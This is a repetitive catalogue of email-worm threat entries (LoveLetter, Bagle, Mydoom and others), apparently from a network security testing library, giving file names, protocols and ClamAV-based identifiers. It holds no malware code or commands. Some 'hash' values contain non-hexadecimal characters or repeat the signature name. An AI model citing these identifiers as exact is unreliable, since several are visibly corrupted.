Detailed Description:	This is the email virus Worm.LoveLetter.DK as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 086805a86002acca02ddd53ecac11266. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Winext.a.a.63882596_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Winext.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Winext.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Winext.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.Rsp.08035791.xml
Executive Description:	Email Virus VBS.Rsp
Detailed Description:	This is the email virus VBS.Rsp as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 08035791776d2d4702c52c6bd60b03b3. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Predec.b.b.df178921_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Predec.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Predec.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Predec.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Gruel.A.b0fecdd_IPv6.xml
Executive Description:	Email Virus Worm.Gruel.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Gruel.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b0fecdd78039aed7f1d68dae4d73d3. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.PawPaw.17a522f1.xml
Executive Description:	Email Virus Trojan.PawPaw
Detailed Description:	This is the email virus Trojan.PawPaw as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 17a522f18f8269c147e815373a3a7d20. This attack is delivered via SMTP to a email server.

Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Lovgate.T.0a5859ef.xml
Executive Description:	Email Virus Worm.Lovgate.T
Detailed Description:	This is the email virus Worm.Lovgate.T as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0a5859efb4c96c4af86566efdb8acb18. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Lara.c949c3a2_IPv6.xml
Executive Description:	Email Virus Worm.Lara (IPv6 Version)
Detailed Description:	This is the email virus Worm.Lara as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c949c3a2ea991ae36bb3f9879c5dd3a2. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Shatrix.sha.f65d8ab1_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Shatrix.sha (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Shatrix.sha as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Shatrix.sha. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Klexe.kle.fa4a807c_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Klexe.kle (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Klexe.kle as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Klexe.kle. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Microyano.cle96ael.xml
Executive Description:	Email Virus Worm.Microyano
Detailed Description:	This is the email virus Worm.Microyano as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: cle96aelc3b4489d7f47c8ccd8575164. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Godog.b647bbd3_IPv6.xml
Executive Description:	Email Virus Worm.Godog (IPv6 Version)
Detailed Description:	This is the email virus Worm.Godog as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b647bbd3bd657ac87f52cdfa2ab2e1ed. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.BY-2.57f4aa23_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.BY-2 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.BY-2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 57f4aa2390813e82b050984e6d90b581. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Likun.b.1dd54d76_IPv6.xml
Executive Description:	Email Virus Worm.Likun.b (IPv6 Version)
Detailed Description:	This is the email virus Worm.Likun.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 1dd54d76f9170dac6995dcf9fd5ff827. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Baatezu.2820d151_IPv6.xml
Executive Description:	Email Virus Worm.Baatezu (IPv6 Version)
Detailed Description:	This is the email virus Worm.Baatezu as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2820d1515f357f983dfb758adc326302. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Ganda-A.c1e17ccf_IPv6.xml
Executive Description:	Email Virus Worm.Ganda-A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Ganda-A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c1e17ccf687fa70efc96ef8ab3e97a95. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Maldal.h.798c04a9_IPv6.xml
Executive Description:	Email Virus Worm.Maldal.h (IPv6 Version)

Detailed Description:	This is the email virus Worm.Maldal.h as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 798c04a9a6aefc02024265279e7be57d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.SSIWG.ef314983.xml
Executive Description:	Email Virus VBS.SSIWG
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ef314983f99a9e1cb350986f41f9acd9. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Mabutu.A.3.21c524fb.xml
Executive Description:	Email Virus Worm.Mabutu.A.3
Detailed Description:	This is the email virus Worm.Mabutu.A.3 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 21c524fb80b39d7c756e6b8bb61c195d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Forgotten.5d5a377d_IPv6.xml
Executive Description:	Email Virus Worm.Forgotten (IPv6 Version)
Detailed Description:	This is the email virus Worm.Forgotten as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5d5a377dda72e00fd7f046db950602aa. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Kadra.154bf120.xml
Executive Description:	Email Virus Worm.Kadra
Detailed Description:	This is the email virus Worm.Kadra as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 154bf1202aac8e31bb09acb5d62109f1. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Sdan.C.d2e41848_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Sdan.C (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Sdan.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d2e41848cb6696f911dfe95c7b6033a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Hopalon.b.b.836elcd6_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Hopalon.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Hopalon.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Hopalon.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.DG.837708e2_IPv6.xml
Executive Description:	Email Virus Worm.LoveLetter.DG (IPv6 Version)
Detailed Description:	This is the email virus Worm.LoveLetter.DG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 837708e2617938c65fea5032d424c48b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Vote.b.f2c5b9ad.xml
Executive Description:	Email Virus Worm.Vote.b
Detailed Description:	This is the email virus Worm.Vote.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f2c5b9ad39375f4dce510b5b702984c7. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Banof.ban.00cf080a.xml
Executive Description:	Email Virus Email-Worm.Win32.Banof.ban
Detailed Description:	This is the email virus Email-Worm.Win32.Banof.ban as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Banof.ban. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Gruel.A.b0fecdd.xml
Executive Description:	Email Virus Worm.Gruel.A
Detailed Description:	This is the email virus Worm.Gruel.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b0fecdd78039aed7f1d68dae4d73d3. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Poo.4f292a8e.xml

Executive Description:	Email Virus Worm.Poo
Detailed Description:	This is the email virus Worm.Poo as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4f292a8e2c921c17707deaf8c232d133. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.MSWord.Turmol.doc.3b9cbb48_IPv6.xml
Executive Description:	Email Virus Email-Worm.MSWord.Turmol.doc (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.MSWord.Turmol.doc as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.MSWord.Turmol.doc. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Alcaul.b.b.eec5778a.xml
Executive Description:	Email Virus Email-Worm.Win32.Alcaul.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Alcaul.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Alcaul.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.BAT.Rogut.rog.ed010bb8.xml
Executive Description:	Email Virus Email-Worm.BAT.Rogut.rog
Detailed Description:	This is the email virus Email-Worm.BAT.Rogut.rog as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.BAT.Rogut.rog. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.XPMsg.8084b3d6.xml
Executive Description:	Email Virus Worm.XPMsg
Detailed Description:	This is the email virus Worm.XPMsg as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8084b3d6df88cbf2e371e9c84075559b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Hatred.b.f08dd849.xml
Executive Description:	Email Virus Worm.Hatred.b
Detailed Description:	This is the email virus Worm.Hatred.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f08dd8493ab094863c3ce953f11f973a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Potok.ac937448.xml
Executive Description:	Email Virus Worm.VBS.Potok
Detailed Description:	This is the email virus Worm.VBS.Potok as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ac93744837e50aeb92620cc794770b1f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Downloader.Small-165.f7925c05_IPv6.xml
Executive Description:	Email Virus Trojan.Downloader.Small-165 (IPv6 Version)
Detailed Description:	This is the email virus Trojan.Downloader.Small-165 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f7925c052ebc4d0978679f457dfbb438. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Mimail.J.0d8a08fb.xml
Executive Description:	Email Virus Worm.Mimail.J
Detailed Description:	This is the email virus Worm.Mimail.J as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0d8a08fb0b8f6663b7e6a22e9elb1e29. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Dagli.dag.774192de.xml
Executive Description:	Email Virus Email-Worm.VBS.Dagli.dag
Detailed Description:	This is the email virus Email-Worm.VBS.Dagli.dag as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Dagli.dag. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Radix.c.c.ca183ad2_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Radix.c.c (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Radix.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Radix.c.c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email

Threat File Name:	Worm.Icecubes.B.6d957f8f_IPv6.xml
Executive Description:	Email Virus Worm.Icecubes.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Icecubes.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6d957f8fd04e6ae12db64605a8d0f9a6. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Jerm.a.233665c4_IPv6.xml
Executive Description:	Email Virus Worm.Jerm.a (IPv6 Version)
Detailed Description:	This is the email virus Worm.Jerm.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 233665c4f4c7ef0b39663035alfad118. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Hybris.C.6dac223b.xml
Executive Description:	Email Virus W32.Hybris.C
Detailed Description:	This is the email virus W32.Hybris.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6dac223b7b1748210328ce4a2299dfce. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Shuq.D.5d7e77db_IPv6.xml
Executive Description:	Email Virus Worm.Shuq.D (IPv6 Version)
Detailed Description:	This is the email virus Worm.Shuq.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5d7e77db1ea0cdddab4f3233eea8d3da. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Wozer.C.ab4771ab.xml
Executive Description:	Email Virus Worm.Wozer.C
Detailed Description:	This is the email virus Worm.Wozer.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ab4771ab05c26c040d9e58d7971a3006. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.AE.62035831.xml
Executive Description:	Email Virus Worm.Bagle.AE
Detailed Description:	This is the email virus Worm.Bagle.AE as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 62035831b8b40ad8c0253a0142c99dcl. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Music.B.39e25a38_IPv6.xml
Executive Description:	Email Virus Worm.Music.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Music.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 39e25a383ddd659b68cb2cb7b9234ff6. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Without.a.623aa8ed.xml
Executive Description:	Email Virus Worm.Without.a
Detailed Description:	This is the email virus Worm.Without.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 623aa8edaacd32f4ede1ealafa7c13ec. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Axam.b.1f1f49c4_IPv6.xml
Executive Description:	Email Virus Worm.Axam.b (IPv6 Version)
Detailed Description:	This is the email virus Worm.Axam.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 1f1f49c4e9228a208a3e5e47318139b9. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.SSIWG.90ad24cc_IPv6.xml
Executive Description:	Email Virus VBS.SSIWG (IPv6 Version)
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 90ad24ccff57520Fc77bcc4632c3b469. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Shuq.B.3d49489e.xml
Executive Description:	Email Virus Worm.Shuq.B
Detailed Description:	This is the email virus Worm.Shuq.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3d49489eff476e66f5f9097dfa2da484. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Worm.Symten.b.8839d89a.xml
Executive Description:	Email Virus Worm.Symten.b
Detailed Description:	This is the email virus Worm.Symten.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8839d89a6a18df4ffe5a258db46b3912. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Uaper.b.b.bd06afea.xml
Executive Description:	Email Virus Email-Worm.VBS.Uaper.b.b
Detailed Description:	This is the email virus Email-Worm.VBS.Uaper.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Uaper.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Randa.4c560521_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Randa (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Randa as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4c560521f3cd8ce88ab1026e8d7159eb. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.Q.ef57933f.xml
Executive Description:	Email Virus Worm.Bagle.Q
Detailed Description:	This is the email virus Worm.Bagle.Q as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ef57933f673b38844d342aace90c657a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Mimail.Q.b9ebe489.xml
Executive Description:	Email Virus Worm.Mimail.Q
Detailed Description:	This is the email virus Worm.Mimail.Q as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b9ebe489f5460408c4911ff84c678a68. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.BWG.C.88b8c658_IPv6.xml
Executive Description:	Email Virus VBS.BWG.C (IPv6 Version)
Detailed Description:	This is the email virus VBS.BWG.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 88b8c658ff12611b20152682a409eaf1. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Desin.des.2f846684.xml
Executive Description:	Email Virus Email-Worm.VBS.Desin.des
Detailed Description:	This is the email virus Email-Worm.VBS.Desin.des as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Desin.des. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Downloader.Small-165.0769b8be_IPv6.xml
Executive Description:	Email Virus Trojan.Downloader.Small-165 (IPv6 Version)
Detailed Description:	This is the email virus Trojan.Downloader.Small-165 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0769b8befedfe30692b189a9e92b0034. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Mydoom.S.4d46781c_IPv6.xml
Executive Description:	Email Virus Worm.Mydoom.S (IPv6 Version)
Detailed Description:	This is the email virus Worm.Mydoom.S as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4d46781c778cedf41975e46259562997. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Celebit.c.c.cdac47ac.xml
Executive Description:	Email Virus Email-Worm.Win32.Celebit.c.c
Detailed Description:	This is the email virus Email-Worm.Win32.Celebit.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Celebit.c.c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.MTX.plugin.ZIP.A.d33881c7_IPv6.xml
Executive Description:	Email Virus Worm.MTX.plugin.ZIP.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.MTX.plugin.ZIP.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d33881c7e9d4c70467e00867707bea42. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6

Threat Package:	Email
Threat File Name:	Worm.Godog.ec7c4e01.xml
Executive Description:	Email Virus Worm.Godog
Detailed Description:	This is the email virus Worm.Godog as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ec7c4e012fd450c94a98254b2aa89992. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Anap.b.b.19bd1bec.xml
Executive Description:	Email Virus Email-Worm.Win32.Anap.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Anap.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Anap.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Nohoper.64481.644.2d1cda79.xml
Executive Description:	Email Virus Email-Worm.Win32.Nohoper.64481.644
Detailed Description:	This is the email virus Email-Worm.Win32.Nohoper.64481.644 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Nohoper.64481.644. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Zircon.a.a.708ea6e7.xml
Executive Description:	Email Virus Email-Worm.Win32.Zircon.a.a
Detailed Description:	This is the email virus Email-Worm.Win32.Zircon.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Zircon.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Heads.he.971eel3b.xml
Executive Description:	Email Virus Email-Worm.Win32.Heads.he
Detailed Description:	This is the email virus Email-Worm.Win32.Heads.he as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Heads.he. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Indor.b.0c716b79.xml
Executive Description:	Email Virus Worm.Indor.b
Detailed Description:	This is the email virus Worm.Indor.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0c716b79b2cc1le8789413f97b1070c7. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Energy.E.d377a5dd_IPv6.xml
Executive Description:	Email Virus Worm.Energy.E (IPv6 Version)
Detailed Description:	This is the email virus Worm.Energy.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d377a5dd8afb394230be70409238f72a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Qoma.B.b4d5eb74_IPv6.xml
Executive Description:	Email Virus Worm.Qoma.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Qoma.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b4d5eb74528d3736b16b0b47a50da063. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Sobig.D.70bc5688.xml
Executive Description:	Email Virus Worm.Sobig.D
Detailed Description:	This is the email virus Worm.Sobig.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 70bc5688274647a7589a90691ddeb3d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.SomeFool.Z.2f4f05bb_IPv6.xml
Executive Description:	Email Virus Worm.SomeFool.Z (IPv6 Version)
Detailed Description:	This is the email virus Worm.SomeFool.Z as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2f4f05bb09b396579225615ab4121256. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Isabel.54e640a8_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Isabel (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Isabel as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 54e640a8d5608287dd0b9bc7127f38d0. This attack is delivered via SMTP to a email server. (IPv6 Version)

Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Kondrik.c.b53b531a_IPv6.xml
Executive Description:	Email Virus Worm.Kondrik.c (IPv6 Version)
Detailed Description:	This is the email virus Worm.Kondrik.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b53b531a934088b5fb13e6e47ced4acf. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.NHKR.a.fc9d1be1_IPv6.xml
Executive Description:	Email Virus Worm.NHKR.a (IPv6 Version)
Detailed Description:	This is the email virus Worm.NHKR.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: fc9d1be19de9edd8569e6fa9f452b521. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.Z.dd3da05f.xml
Executive Description:	Email Virus Worm.Bagle.Z
Detailed Description:	This is the email virus Worm.Bagle.Z as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: dd3da05fa8b73d3644039ec1bd990e54. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.Vabian.A.fc1fb498_IPv6.xml
Executive Description:	Email Virus VBS.Vabian.A (IPv6 Version)
Detailed Description:	This is the email virus VBS.Vabian.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: fc1fb498aac64d710ba367080ec93453. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Mimail.k.k.290995b4_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Mimail.k.k (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Mimail.k.k as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Mimail.k.k. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Melting.4784e42c.xml
Executive Description:	Email Virus Worm.Melting
Detailed Description:	This is the email virus Worm.Melting as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4784e42c3b15d1a141a5e0c8abc1205c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.08c05361.xml
Executive Description:	Email Virus Worm.Bagle.AG.2
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 08c053615140e176a04f40de68ac5991. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Anap.b.b.19bdlbec_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Anap.b.b (IPv6 Version)
